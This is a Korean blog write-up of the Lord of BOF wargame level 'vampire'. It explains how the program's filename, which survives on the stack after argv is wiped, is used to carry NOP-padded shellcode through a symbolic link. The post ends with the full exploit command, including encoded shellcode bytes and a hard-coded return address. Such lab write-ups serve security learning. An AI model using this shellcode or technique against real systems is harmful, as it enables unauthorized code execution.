본문 바로가기
Security/Pwnable

LOB Level 10 vampire

by J0DEV 2021. 8. 9.
반응형

vampire -> skeleton 으로 접속합니다.

소스코드를 봅니다.

 

모든 argv를 다 초기화 시키네요...

 

혹시나 싶어서 이전에 사용했던 익스플로잇 코드를 사용해봤지만 역시나...

 

계속 삽질, 고민 하던중에

 

일단 스택을 뒤져보자는 생각을 합니다.

 

 

 

모든 argv가 초기화 되더라도 무엇이 남은게 있어야 풀 수 있겠다 싶었습니다.

(만약 남은 것도 없으면 구글링 하려고 했었는데)

 

우선 퍼미션 문제때문에 문제파일을 복사하고

끝나는 부분 main+368에 브레이크를 걸어줍니다.

 

 

 

 

그냥 끝까지 다보려고

 

x/1000x $ebp를 했습니다.

 

 

아니 그런데 이럴수가 다행히 끝부분에 무언가가 있습니다. 이를 다시 확인해봅니다.

 

(x/100x, x/100c, x/100s로 확인하던중)

 

 

 

현제 파일 명이 나온걸 발견!

 

argv[0]이 초기화되도 저게 남네요 ㅎㅎㅎㅎ

 

가뭄에 단비라도 내리듯 바로 심볼릭 링크를 걸어줍니다.

 

(링크 걸때 \x2f였나 f2였나 있으면 안되서 새로운 쉘코드를 (48바이트) 사용합니다.)

 

심볼릉 링크를 걸때 앞뒤에 nop를 줍니다. (혹시 모르니깐요 ㅎ)

 

 

크 역시 끝부분에 남는군요

 

0xbfffff38쯤을 ret로 잡으면 되겠군요

 

 

 

skeleton1에 걸었던 심볼릭 링크를 제거하고

 

skeleton에 걸어준 다음

 

공격을 시도합니다.

 

./`python -c 'print "\x90"*100+ "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*50'` `python -c 'print "\x90"*44+"\x38\xff\xff\xbf"'`

 

(처음에 심볼릭 링크 등록할때 분명이 되야하는데 안되서<-앞에만 nop를 넣어줘서)

(뒤에도 nop을 넣어주니 아주 잘 되네요. 이것 때문에 머리 터질뻔)

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 12 golem  (0) 2021.08.10
LOB Level 11 skeleton  (0) 2021.08.10
LOB Level 9 troll  (0) 2021.08.09
LOB Level 8 orge  (0) 2021.08.09
LOB Level 7 darkelf  (0) 2021.08.09